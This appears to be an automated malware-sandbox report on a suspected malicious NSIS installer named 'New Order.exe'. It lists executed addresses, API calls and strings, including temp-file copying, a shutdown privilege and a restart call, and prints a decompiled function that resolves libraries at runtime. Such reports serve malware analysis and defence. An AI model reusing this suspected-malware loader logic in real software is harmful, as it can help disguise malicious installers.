0x00403118
0x0040311c
0x00403121
0x00403131
0x00403134
0x0040313b
0x00403142
0x00403142
0x0040313b
0x00403144
0x00403144
0x0040325a
0x0040325a
0x0040325a
0x0040325c
0x0040325e
0x00000000
0x00000000
0x004031f3
0x004031f6
0x004031fe
0x004031fe
0x00403201
0x00403206
0x00403208
0x00403208
0x00403209
0x00403209
0x0040320e
0x00403211
0x0040324a
0x0040324f
0x00403254
0x00403257
0x00403259
0x00403259
0x00403259
0x00000000
0x00403213
0x00403213
0x00403214
0x00403217
0x0040321f
0x00403222
0x00403224
0x00403224
0x00403224
0x00403224
0x00403222
0x00403229
0x0040322f
0x00403237
0x0040323a
0x0040323c
0x0040323c
0x0040323c
0x0040323c
0x0040323a
0x00403241
0x00403248
0x00403262
0x00403265
0x0040326e
0x00403273
0x00403273
0x0040327e
0x00403284
0x00403289
0x0040328b
0x004032b1
0x004032b6
0x004032c0
0x004032c7
0x004032cb
0x00403332
0x00403332
0x00403337
0x0040333d
0x00403341
0x00403456
0x0040345c
0x004034f9
0x004034f9
0x004034fe
0x00403501
0x00403503
0x00403503
0x0040350b
0x0040350b
0x0040346b
0x00403474
0x00403476
0x0040347b
0x0040347d
0x0040347f
0x00403481
0x00403483
0x00403485
0x00403487
0x00403497
0x00403499
0x0040349b
0x004034a8
0x004034b7
0x004034bf
0x004034c7
0x004034c7
0x0040349b
0x00403487
0x00403483
0x004034cb
0x004034d0
0x004034d7
0x004034e5
0x004034e8
0x004034ee
0x004034f0
0x00000000
0x00000000
0x00000000
0x004034d9
0x004034df
0x004034e1
0x004034e3
0x004034f2
0x004034f4
0x00000000
0x004034f4
0x00000000
0x004034e3
0x004034d7
0x00403350
0x00403357
0x00403357
0x004032d3
0x00403322
0x00403322
0x0040332e
0x00000000
0x0040332e
0x004032dc
0x004032e9
0x004032e0
0x004032e6
0x00000000
0x00000000
0x004032e8
0x004032e8
0x004032e8
0x004032ed
0x004032ef
0x004032f7
0x00403368
0x0040336a
0x00403371
0x00403379
0x00403379
0x00403384
0x00403389
0x00403398
0x0040339c
0x0040339d
0x004033a6
0x0040339f
0x0040339f
0x0040339f
0x004033ac
0x004033b2
0x004033b8
0x004033c0
0x004033c0
0x004033ce
0x004033d5
0x004033de
0x004033e4
0x004033f0
0x004033f6
0x00403400
0x0040340a
0x00403410
0x00403412
0x00403414
0x00403415
0x00403416
0x00403427
0x0040342d
0x00403434
0x00403437
0x0040343d
0x0040343d
0x00403434
0x00403412
0x00403441
0x00403447
0x00403447
0x00403447
0x0040344a
0x0040344b
0x0040344c
0x0040344c
0x00000000
0x00403398
0x004032f9
0x004032fb
0x00403306
0x00000000
0x00000000
0x0040330e
0x00403319
0x0040331e
0x00000000
0x0040331e
0x00403293
0x0040329f
0x004032a4
0x004032a9
0x004032ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00403248
0x00000000
0x00000000
0x00000000
0x004031f8
0x004031f8
0x004031f8
0x004031f9
0x004031f9
0x00000000
0x004031f8
0x00000000
0x00403149
0x0040314a
0x00403156
0x0040315c
0x00000000
0x0040315e
0x00403160
0x00403167
0x0040316c
0x00403171
0x00403178
0x0040317e
0x00403194
0x004031a4
0x004031a9
0x004031af
0x004031b6
0x004031c9
0x004031ce
0x004031d0
0x004031d2
0x004031d7
0x004031d7
0x004031e7
0x004031ed
0x00000000
0x004031ed

APIs

SetErrorMode.KERNELBASE ref: 00403121
GetVersion.KERNEL32 ref: 00403127
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403150
#17.COMCTL32(0000000B,0000000D), ref: 00403171
OleInitialize.OLE32(00000000), ref: 00403178
SHGetFileInfoA.SHELL32(0041F4F0,00000000,?,00000160,00000000), ref: 00403194
GetCommandLineA.KERNEL32(00423740,NSIS Error), ref: 004031A9
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\New Order.exe" ,00000000), ref: 004031BC
CharNextA.USER32(00000000,"C:\Users\user\Desktop\New Order.exe" ,00409168), ref: 004031E7
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040327E
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403293
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040329F
DeleteFileA.KERNELBASE(1033), ref: 004032B6

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?), ref: 00405F55

OleUninitialize.OLE32(00000020), ref: 00403337
ExitProcess.KERNEL32 ref: 00403357
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\New Order.exe" ,00000000,00000020), ref: 0040336A
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00409148,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\New Order.exe" ,00000000,00000020), ref: 00403379
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\New Order.exe" ,00000000,00000020), ref: 00403384
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\New Order.exe" ,00000000,00000020), ref: 00403390
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 004033AC
DeleteFileA.KERNEL32(0041F0F0,0041F0F0,?,00425000,?), ref: 004033F6
CopyFileA.KERNEL32 ref: 0040340A
CloseHandle.KERNEL32(00000000,0041F0F0,0041F0F0,?,0041F0F0,00000000), ref: 00403437
GetCurrentProcess.KERNEL32(00000028,?,00000007,00000006,00000005), ref: 00403490
ExitWindowsEx.USER32(00000002,80040002), ref: 004034E8
ExitProcess.KERNEL32 ref: 0040350B

Strings

.tmp, xrefs: 0040337E
", xrefs: 00403209
NSIS Error, xrefs: 0040319A
_?=, xrefs: 004032E0
C:\Users\user\AppData\Local\Temp, xrefs: 00403269, 00403309, 004033B2, 004033BB
1033, xrefs: 004032B1
, xrefs: 0040311C
NCRC, xrefs: 00403229
C:\Users\user\AppData\Local\Temp, xrefs: 00403314
C:\Users\user\AppData\Local\Temp\, xrefs: 00403273, 00403278, 00403292, 0040329E, 00403367, 00403378, 00403383, 0040338F, 0040339C, 004033AB, 0040344B
C:\Users\user\Desktop\New Order.exe, xrefs: 00403405
Error launching installer, xrefs: 004032EF
~nsu, xrefs: 00403362
"C:\Users\user\Desktop\New Order.exe" , xrefs: 004031AF, 004031B5, 004032D6
SeShutdownPrivilege, xrefs: 004034A2
C:\Users\user\Desktop, xrefs: 00403389, 0040338E, 004033BA
UXTHEME, xrefs: 00403144, 00403149, 0040314F
\Temp, xrefs: 00403299
/D=, xrefs: 00403241

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Filelstrcat$ExitHandleProcess$CurrentDeleteDirectoryModuleWindows$AddressCharCloseCommandCopyErrorInfoInitializeLineModeNextPathProcTempUninitializeVersionlstrcmpilstrlen
String ID: $ /D=$ _?=$"$"C:\Users\user\Desktop\New Order.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\New Order.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$UXTHEME$\Temp$~nsu
API String ID: 3469842172-2067522814
Opcode ID: c205237f53a57e9789d4fc795fe9e6243dae0da3a8597aae026d19c88162d9a0
Instruction ID: 90ec7ab760c3480979c70ff1213755fd4c015a14bcf9795d8db5e914811e335b
Opcode Fuzzy Hash: c205237f53a57e9789d4fc795fe9e6243dae0da3a8597aae026d19c88162d9a0
Instruction Fuzzy Hash: E5A10470A083016BE7216F619C4AB2B7EACEB0170AF40457FF544B61D2C77CAA458B6F

Uniqueness

Uniqueness Score: -1.00%

Function 10001D3B, Relevance: 21.5, APIs: 14, Instructions: 499
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E10001D3B() {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				CHAR* _v44;
				intOrPtr _v48;
				void* _v52;
				CHAR* _t180;
				void* _t182;
				signed int _t183;
				void* _t186;
				void* _t188;
				CHAR* _t190;
				void* _t198;
				struct HINSTANCE__* _t199;
				_Unknown_base(*)()* _t200;
				_Unknown_base(*)()* _t202;
				struct HINSTANCE__* _t203;
				void* _t205;
				char* _t206;
				_Unknown_base(*)()* _t207;
				void* _t218;
				signed char _t219;
				void* _t224;
				struct HINSTANCE__* _t226;
				void* _t227;
				void* _t228;
				void* _t232;
				void* _t235;
				void* _t237;
				void* _t244;
				void* _t245;
				void* _t248;
				struct HINSTANCE__* _t253;
				CHAR* _t254;
				signed char _t257;
				void _t258;
				void* _t259;
				void* _t266;
				void* _t267;
				void* _t271;
				void* _t272;
				void* _t276;
				void* _t277;
				void* _t278;
				void* _t279;
				signed char _t282;
				signed int _t283;
				CHAR* _t284;
				CHAR* _t286;
				struct HINSTANCE__* _t288;
				void* _t290;
				void* _t291;

				_t253 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v12 = 0;
				_v40 = 0;
				_t291 = 0;
				_t180 = E10001541();
				_v24 = _t180;
				_v28 = _t180;
				_v44 = E10001541();
				_t182 = E10001561();
				_v52 = _t182;
				_v8 = _t182;
				while(1) {
					_t183 = _v32;
					_t283 = 3;
					_v48 = _t183;
					if(_t183 != _t253 && _t291 == _t253) {
						break;
					}
					_t282 =  *_v8;
					_t257 = _t282;
					_t186 = _t257 - _t253;
					if(_t186 == 0) {
						_t29 =  &_v32;
						 *_t29 = _v32 | 0xffffffff;
						__eflags =  *_t29;
						L13:
						_t188 = _v48 - _t253;
						if(_t188 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t291 - _t253;
							if(_t291 == _t253) {
								_t224 = GlobalAlloc(0x40, 0x14a4); // executed
								_t291 = _t224;
								 *(_t291 + 0x810) = _t253;
								 *(_t291 + 0x814) = _t253;
							}
							_t258 = _v36;
							_t39 = _t291 + 8; // 0x8
							_t190 = _t39;
							_t40 = _t291 + 0x408; // 0x408
							_t284 = _t40;
							 *_t291 = _t258;
							 *_t190 =  *_t190 & 0x00000000;
							 *(_t291 + 0x808) = _t253;
							 *_t284 =  *_t284 & 0x00000000;
							_t259 = _t258 - _t253;
							__eflags = _t259;
							 *(_t291 + 0x80c) = _t253;
							 *(_t291 + 4) = _t253;
							if(_t259 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L56;
								}
								_t290 = 0;
								GlobalFree(_t291);
								_t291 = E10001641(_v24);
								__eflags = _t291 - _t253;
								if(_t291 == _t253) {
									goto L56;
								} else {
									goto L28;
								}
								while(1) {
									L28:
									_t218 =  *(_t291 + 0x14a0);
									__eflags = _t218 - _t253;
									if(_t218 == _t253) {
										break;
									}
									_t290 = _t291;
									_t291 = _t218;
									__eflags = _t291 - _t253;
									if(_t291 != _t253) {
										continue;
									}
									break;
								}
								__eflags = _t290 - _t253;
								if(_t290 != _t253) {
									 *(_t290 + 0x14a0) = _t253;
								}
								_t219 =  *(_t291 + 0x810);
								__eflags = _t219 & 0x00000008;
								if((_t219 & 0x00000008) == 0) {
									 *(_t291 + 0x810) = _t219 | 0x00000002;
								} else {
									_t291 = E1000187C(_t291);
									 *(_t291 + 0x810) =  *(_t291 + 0x810) & 0xfffffff5;
								}
								goto L56;
							} else {
								_t266 = _t259 - 1;
								__eflags = _t266;
								if(_t266 == 0) {
									L24:
									lstrcpyA(_t190, _v44);
									L25:
									lstrcpyA(_t284, _v24);
									L56:
									_v28 = _v24;
									L57:
									_v8 = _v8 + 1;
									if(_v32 != 0xffffffff) {
										continue;
									}
									break;
								}
								_t267 = _t266 - 1;
								__eflags = _t267;
								if(_t267 == 0) {
									goto L25;
								}
								__eflags = _t267 != 1;
								if(_t267 != 1) {
									goto L56;
								}
								goto L24;
							}
						}
						if(_t188 == 1) {
							_t226 = _v16;
							if(_v40 == _t253) {
								_t226 = _t226 - 1;
							}
							 *(_t291 + 0x814) = _t226;
						}
						goto L56;
					}
					_t227 = _t186 - 0x23;
					if(_t227 == 0) {
						_v32 = _t253;
						_v36 = _t253;
						goto L13;
					}
					_t228 = _t227 - 5;
					if(_t228 == 0) {
						__eflags = _v36 - _t283;
						_v32 = 1;
						_v12 = _t253;
						_v20 = _t253;
						_v16 = (0 | _v36 == _t283) + 1;
						_v40 = _t253;
						goto L13;
					}
					_t232 = _t228 - 1;
					if(_t232 == 0) {
						_v32 = 2;
						_v12 = _t253;
						_v20 = _t253;
						goto L13;
					}
					if(_t232 != 0x16) {
						_t235 = _v32 - _t253;
						__eflags = _t235;
						if(_t235 == 0) {
							__eflags = _t282 - 0x2a;
							if(_t282 == 0x2a) {
								_v36 = 2;
								L55:
								_t253 = 0;
								__eflags = 0;
								goto L56;
							}
							__eflags = _t282 - 0x2d;
							if(_t282 == 0x2d) {
								L124:
								_t237 = _v8 + 1;
								__eflags =  *_t237 - 0x3e;
								if( *_t237 != 0x3e) {
									L126:
									_t237 = _v8 + 1;
									__eflags =  *_t237 - 0x3a;
									if( *_t237 != 0x3a) {
										L133:
										_v28 =  &(_v28[1]);
										 *_v28 = _t282;
										goto L57;
									}
									__eflags = _t282 - 0x2d;
									if(_t282 == 0x2d) {
										goto L133;
									}
									_v36 = 1;
									L129:
									_v8 = _t237;
									__eflags = _v28 - _v24;
									if(_v28 <= _v24) {
										 *_v44 =  *_v44 & 0x00000000;
									} else {
										 *_v28 =  *_v28 & 0x00000000;
										lstrcpyA(_v44, _v24);
									}
									goto L55;
								}
								_v36 = _t283;
								goto L129;
							}
							__eflags = _t282 - 0x3a;
							if(_t282 != 0x3a) {
								goto L133;
							}
							__eflags = _t282 - 0x2d;
							if(_t282 != 0x2d) {
								goto L126;
							}
							goto L124;
						}
						_t244 = _t235 - 1;
						__eflags = _t244;
						if(_t244 == 0) {
							L68:
							_t245 = _t257 - 0x22;
							__eflags = _t245 - 0x55;
							if(_t245 > 0x55) {
								goto L55;
							}
							switch( *((intOrPtr*)(( *(_t245 + 0x100023a0) & 0x000000ff) * 4 +  &M10002344))) {
								case 0:
									__eax = _v24;
									__edi = _v8;
									while(1) {
										__edi = __edi + 1;
										_v8 = __edi;
										__cl =  *__edi;
										__eflags = __cl - __dl;
										if(__cl != __dl) {
											goto L108;
										}
										L107:
										__eflags =  *(__edi + 1) - __dl;
										if( *(__edi + 1) != __dl) {
											L112:
											 *__eax =  *__eax & 0x00000000;
											__ebx = E10001550(_v24);
											goto L84;
										}
										L108:
										__eflags = __cl;
										if(__cl == 0) {
											goto L112;
										}
										__eflags = __cl - __dl;
										if(__cl == __dl) {
											__edi = __edi + 1;
											__eflags = __edi;
										}
										__cl =  *__edi;
										 *__eax =  *__edi;
										__eax = __eax + 1;
										__edi = __edi + 1;
										_v8 = __edi;
										__cl =  *__edi;
										__eflags = __cl - __dl;
										if(__cl != __dl) {
											goto L108;
										}
										goto L107;
									}
								case 1:
									_v12 = 1;
									goto L55;
								case 2:
									_v12 = _v12 | 0xffffffff;
									goto L55;
								case 3:
									_v12 = _v12 & 0x00000000;
									_v20 = _v20 & 0x00000000;
									_v16 = _v16 + 1;
									goto L73;
								case 4:
									__eflags = _v20;
									if(_v20 != 0) {
										goto L55;
									}
									_v8 = _v8 - 1;
									__ebx = E10001541();
									 &_v8 = E10001CD9( &_v8);
									__eax = E1000176C(__edx, __eax, __edx, __ebx);
									goto L84;
								case 5:
									L92:
									_v20 = _v20 + 1;
									goto L55;
								case 6:
									_push(0x19);
									goto L119;
								case 7:
									_push(0x15);
									goto L119;
								case 8:
									_push(0x16);
									goto L119;
								case 9:
									_push(0x18);
									goto L119;
								case 0xa:
									_push(5);
									goto L99;
								case 0xb:
									__eax = 0;
									__eax = 1;
									goto L78;
								case 0xc:
									_push(6);
									goto L99;
								case 0xd:
									_push(2);
									goto L99;
								case 0xe:
									_push(3);
									goto L99;
								case 0xf:
									_push(0x17);
									L119:
									_pop(__ebx);
									goto L85;
								case 0x10:
									__eax =  &_v8;
									__eax = E10001CD9( &_v8);
									__ebx = __eax;
									__ebx = __eax + 1;
									__eflags = __ebx - 0xb;
									if(__ebx < 0xb) {
										__ebx = __ebx + 0xa;
									}
									goto L84;
								case 0x11:
									__ebx = 0xffffffff;
									goto L85;
								case 0x12:
									__eax = 0;
									__eflags = 0;
									goto L78;
								case 0x13:
									_push(4);
									L99:
									_pop(__eax);
									L78:
									__edx = _v16;
									__ecx = 0;
									__edx = _v16 << 5;
									__ecx = 1;
									__eflags = _v12 - 0xffffffff;
									__edi = (_v16 << 5) + __esi;
									_v40 = 1;
									 *(__edi + 0x818) = __eax;
									if(_v12 == 0xffffffff) {
										L80:
										__eax = __ecx;
										L81:
										__eflags = _v12 - __ecx;
										 *(__edi + 0x828) = __eax;
										if(_v12 == __ecx) {
											__eax =  &_v8;
											__eax = E10001CD9( &_v8);
											__eax = __eax + 1;
											__eflags = __eax;
											_v12 = __eax;
										}
										__eax = _v12;
										 *((intOrPtr*)(__edi + 0x81c)) = _v12;
										_t126 = _v16 + 0x41; // 0x41
										_t126 = _t126 << 5;
										__eax = 0;
										__eflags = 0;
										 *((intOrPtr*)((_t126 << 5) + __esi)) = 0;
										 *((intOrPtr*)(__edi + 0x82c)) = 0;
										 *((intOrPtr*)(__edi + 0x830)) = 0;
										goto L84;
									}
									__eax =  *(0x10003058 + __eax * 4);
									__eflags = __eax;
									if(__eax > 0) {
										goto L81;
									}
									goto L80;
								case 0x14:
									_t247 =  *(_t291 + 0x814);
									__eflags = _t247 - _v16;
									if(_t247 > _v16) {
										_v16 = _t247;
									}
									_v12 = _v12 & 0x00000000;
									_v20 = _v20 & 0x00000000;
									_v36 - 3 = _t247 - (_v36 == 3);
									if(_t247 != _v36 == 3) {
										L73:
										_v40 = 1;
									}
									goto L55;
								case 0x15:
									__eax =  &_v8;
									__eax = E10001CD9( &_v8);
									__ebx = __eax;
									__ebx = __eax + 1;
									L84:
									__eflags = __ebx;
									if(__ebx == 0) {
										goto L55;
									}
									L85:
									__eflags = _v20;
									_v40 = 1;
									if(_v20 != 0) {
										L90:
										__eflags = _v20 - 1;
										if(_v20 == 1) {
											__eax = _v16;
											__eax = _v16 << 5;
											__eflags = __eax;
											 *(__eax + __esi + 0x830) = __ebx;
										}
										goto L92;
									}
									_v16 = _v16 << 5;
									_t134 = __esi + 0x82c; // 0x82c
									__edi = (_v16 << 5) + _t134;
									__eax =  *__edi;
									__eflags = __eax - 0xffffffff;
									if(__eax <= 0xffffffff) {
										L88:
										__eax = GlobalFree(__eax);
										L89:
										 *__edi = __ebx;
										goto L90;
									}
									__eflags = __eax - 0x19;
									if(__eax <= 0x19) {
										goto L89;
									}
									goto L88;
								case 0x16:
									goto L55;
							}
						}
						_t248 = _t244 - 1;
						__eflags = _t248;
						if(_t248 == 0) {
							_v16 = _t253;
							goto L68;
						}
						__eflags = _t248 != 1;
						if(_t248 != 1) {
							goto L133;
						}
						_t271 = _t257 - 0x21;
						__eflags = _t271;
						if(_t271 == 0) {
							_v12 =  ~_v12;
							goto L55;
						}
						_t272 = _t271 - 0x42;
						__eflags = _t272;
						if(_t272 == 0) {
							L51:
							__eflags = _v12 - 1;
							if(_v12 != 1) {
								_t84 = _t291 + 0x810;
								 *_t84 =  *(_t291 + 0x810) &  !0x00000001;
								__eflags =  *_t84;
							} else {
								 *(_t291 + 0x810) =  *(_t291 + 0x810) | 1;
							}
							_v12 = 1;
							goto L55;
						}
						_t276 = _t272;
						__eflags = _t276;
						if(_t276 == 0) {
							_push(0x20);
							L50:
							_pop(1);
							goto L51;
						}
						_t277 = _t276 - 9;
						__eflags = _t277;
						if(_t277 == 0) {
							_push(8);
							goto L50;
						}
						_push(4);
						_pop(1);
						_t278 = _t277 - 1;
						__eflags = _t278;
						if(_t278 == 0) {
							goto L51;
						}
						_t279 = _t278 - 1;
						__eflags = _t279;
						if(_t279 == 0) {
							_push(0x10);
							goto L50;
						}
						__eflags = _t279 != 0;
						if(_t279 != 0) {
							goto L55;
						}
						_push(0x40);
						goto L50;
					} else {
						_v32 = _t283;
						_v12 = 1;
						goto L13;
					}
				}
				GlobalFree(_v52);
				GlobalFree(_v24);
				GlobalFree(_v44);
				if(_t291 == _t253 ||  *(_t291 + 0x80c) != _t253) {
					L145:
					return _t291;
				} else {
					_t198 =  *_t291 - 1;
					if(_t198 == 0) {
						_t169 = _t291 + 8; // 0x8
						_t286 = _t169;
						__eflags =  *_t286;
						if( *_t286 != 0) {
							_t199 = GetModuleHandleA(_t286);
							__eflags = _t199 - _t253;
							 *(_t291 + 0x808) = _t199;
							if(_t199 != _t253) {
								L141:
								_t173 = _t291 + 0x408; // 0x408
								_t254 = _t173;
								_t200 = GetProcAddress( *(_t291 + 0x808), _t254);
								__eflags = _t200;
								 *(_t291 + 0x80c) = _t200;
								if(_t200 != 0) {
									goto L145;
								}
								lstrcatA(_t254, 0x10004024);
								_t202 = GetProcAddress( *(_t291 + 0x808), _t254);
								__eflags = _t202;
								L143:
								 *(_t291 + 0x80c) = _t202;
								if(__eflags != 0) {
									goto L145;
								}
								L144:
								_t178 = _t291 + 4;
								 *_t178 =  *(_t291 + 4) | 0xffffffff;
								__eflags =  *_t178;
								goto L145;
							}
							_t203 = LoadLibraryA(_t286);
							__eflags = _t203 - _t253;
							 *(_t291 + 0x808) = _t203;
							if(_t203 == _t253) {
								goto L144;
							}
							goto L141;
						}
						_t170 = _t291 + 0x408; // 0x408
						_t202 = E10001641(_t170);
						__eflags = _t202 - _t253;
						goto L143;
					}
					_t205 = _t198 - 1;
					if(_t205 == 0) {
						_t167 = _t291 + 0x408; // 0x408
						_t206 = _t167;
						__eflags =  *_t206;
						if( *_t206 == 0) {
							goto L145;
						}
						_t207 = E10001641(_t206);
						L136:
						 *(_t291 + 0x80c) = _t207;
						goto L145;
					}
					if(_t205 != 1) {
						goto L145;
					}
					_t72 = _t291 + 8; // 0x8
					_t255 = _t72;
					_t288 = E10001641(_t72);
					 *(_t291 + 0x808) = _t288;
					if(_t288 == 0) {
						goto L144;
					}
					 *(_t291 + 0x850) =  *(_t291 + 0x850) & 0x00000000;
					 *((intOrPtr*)(_t291 + 0x84c)) = E10001550(_t255);
					 *(_t291 + 0x83c) =  *(_t291 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t291 + 0x848)) = 1;
					 *((intOrPtr*)(_t291 + 0x838)) = 1;
					_t81 = _t291 + 0x408; // 0x408
					_t207 =  *(_t288->i + E10001641(_t81) * 4);
					goto L136;
				}
			}

0x10001d43
0x10001d46
0x10001d49
0x10001d4c
0x10001d4f
0x10001d52
0x10001d55
0x10001d57
0x10001d5c
0x10001d5f
0x10001d67
0x10001d6a
0x10001d6f
0x10001d72
0x10001d75
0x10001d75
0x10001d7c
0x10001d7d
0x10001d80
0x00000000
0x00000000
0x10001d8d
0x10001d8f
0x10001d94
0x10001d96
0x10001def
0x10001def
0x10001def
0x10001df3
0x10001df6
0x10001df8
0x10001e1a
0x10001e1d
0x10001e1f
0x10001e28
0x10001e2e
0x10001e30
0x10001e36
0x10001e36
0x10001e3c
0x10001e3f
0x10001e3f
0x10001e42
0x10001e42
0x10001e48
0x10001e4a
0x10001e4d
0x10001e53
0x10001e56
0x10001e56
0x10001e58
0x10001e5e
0x10001e61
0x10001e8c
0x10001e8f
0x00000000
0x00000000
0x10001e96
0x10001e98
0x10001ea6
0x10001ea9
0x10001eab
0x00000000
0x00000000
0x00000000
0x00000000
0x10001eb1
0x10001eb1
0x10001eb1
0x10001eb7
0x10001eb9
0x00000000
0x00000000
0x10001ebb
0x10001ebd
0x10001ebf
0x10001ec1
0x00000000
0x00000000
0x00000000
0x10001ec1
0x10001ec3
0x10001ec5
0x10001ec7
0x10001ec7
0x10001ecd
0x10001ed3
0x10001ed5
0x10001eeb
0x10001ed7
0x10001edd
0x10001ee0
0x10001ee0
0x00000000
0x10001e63
0x10001e63
0x10001e63
0x10001e64
0x10001e70
0x10001e74
0x10001e7a
0x10001e7e
0x10001f64
0x10001f67
0x10001f6a
0x10001f6a
0x10001f71
0x00000000
0x00000000
0x00000000
0x10001f71
0x10001e66
0x10001e66
0x10001e67
0x00000000
0x00000000
0x10001e69
0x10001e6a
0x00000000
0x00000000
0x00000000
0x10001e6a
0x10001e61
0x10001dfb
0x10001e04
0x10001e07
0x10001e14
0x10001e14
0x10001e09
0x10001e09
0x00000000
0x10001dfb
0x10001d98
0x10001d9b
0x10001de7
0x10001dea
0x00000000
0x10001dea
0x10001d9d
0x10001da0
0x10001dcb
0x10001dce
0x10001dd5
0x10001ddc
0x10001ddf
0x10001de2
0x00000000
0x10001de2
0x10001da2
0x10001da3
0x10001dba
0x10001dc1
0x10001dc4
0x00000000
0x10001dc4
0x10001da8
0x10001ef6
0x10001ef6
0x10001ef8
0x10002225
0x10002228
0x10002289
0x10001f62
0x10001f62
0x10001f62
0x00000000
0x10001f62
0x1000222a
0x1000222d
0x10002239
0x1000223c
0x1000223d
0x10002240
0x10002247
0x1000224a
0x1000224b
0x1000224e
0x10002295
0x10002298
0x1000229b
0x00000000
0x1000229b
0x10002250
0x10002253
0x00000000
0x00000000
0x10002255
0x1000225c
0x1000225c
0x10002262
0x10002265
0x10002281
0x10002267
0x10002270
0x10002273
0x10002273
0x00000000
0x10002265
0x10002242
0x00000000
0x10002242
0x1000222f
0x10002232
0x00000000
0x00000000
0x10002234
0x10002237
0x00000000
0x00000000
0x00000000
0x10002237
0x10001efe
0x10001efe
0x10001eff
0x10002026
0x10002026
0x1000202b
0x1000202e
0x00000000
0x00000000
0x1000203b
0x00000000
0x100021cd
0x100021d0
0x100021d3
0x100021d3
0x100021d4
0x100021d7
0x100021d9
0x100021db
0x00000000
0x00000000
0x100021dd
0x100021dd
0x100021e0
0x100021f2
0x100021f5
0x100021fe
0x00000000
0x100021fe
0x100021e2
0x100021e2
0x100021e4
0x00000000
0x00000000
0x100021e6
0x100021e8
0x100021ea
0x100021ea
0x100021ea
0x100021eb
0x100021ed
0x100021ef
0x100021d3
0x100021d4
0x100021d7
0x100021d9
0x100021db
0x00000000
0x00000000
0x00000000
0x100021db
0x00000000
0x10002082
0x00000000
0x00000000
0x1000208e
0x00000000
0x00000000
0x10002075
0x10002079
0x1000207d
0x00000000
0x00000000
0x1000219f
0x100021a3
0x00000000
0x00000000
0x100021a9
0x100021b1
0x100021b8
0x100021c0
0x00000000
0x00000000
0x10002147
0x10002147
0x00000000
0x00000000
0x1000221d
0x00000000
0x00000000
0x1000220d
0x00000000
0x00000000
0x10002211
0x00000000
0x00000000
0x10002219
0x00000000
0x00000000
0x1000215f
0x00000000
0x00000000
0x1000214f
0x10002151
0x00000000
0x00000000
0x10002167
0x00000000
0x00000000
0x10002157
0x00000000
0x00000000
0x1000215b
0x00000000
0x00000000
0x10002215
0x1000221f
0x1000221f
0x00000000
0x00000000
0x1000216f
0x10002173
0x10002178
0x1000217b
0x1000217c
0x1000217f
0x10002185
0x10002185
0x00000000
0x00000000
0x10002205
0x00000000
0x00000000
0x10002097
0x10002097
0x00000000
0x00000000
0x10002163
0x10002169
0x10002169
0x10002099
0x10002099
0x1000209c
0x1000209e
0x100020a1
0x100020a2
0x100020a6
0x100020a9
0x100020ac
0x100020b2
0x100020bf
0x100020bf
0x100020c1
0x100020c1
0x100020c4
0x100020ca
0x100020cc
0x100020d0
0x100020d5
0x100020d5
0x100020d7
0x100020d7
0x100020da
0x100020dd
0x100020e6
0x100020e9
0x100020ec
0x100020ec
0x100020ee
0x100020f1
0x100020f7
0x00000000
0x100020f7
0x100020b4
0x100020bb
0x100020bd
0x00000000
0x00000000
0x00000000
0x00000000
0x10002042
0x10002048
0x1000204b
0x1000204d
0x1000204d
0x10002050
0x10002054
0x10002061
0x10002063
0x10002069
0x10002069
0x10002069
0x00000000
0x00000000
0x1000218d
0x10002191
0x10002196
0x10002199
0x100020fd
0x100020fd
0x100020ff
0x00000000
0x00000000
0x10002105
0x10002105
0x10002109
0x10002110
0x10002134
0x10002134
0x10002138
0x1000213a
0x1000213d
0x1000213d
0x10002140
0x10002140
0x00000000
0x10002138
0x10002115
0x10002118
0x10002118
0x1000211f
0x10002121
0x10002124
0x1000212b
0x1000212c
0x10002132
0x10002132
0x00000000
0x10002132
0x10002126
0x10002129
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1000203b
0x10001f05
0x10001f05
0x10001f06
0x10002023
0x00000000
0x10002023
0x10001f0c
0x10001f0d
0x00000000
0x00000000
0x10001f13
0x10001f13
0x10001f16
0x10001f5f
0x00000000
0x10001f5f
0x10001f18
0x10001f18
0x10001f1b
0x10001f43
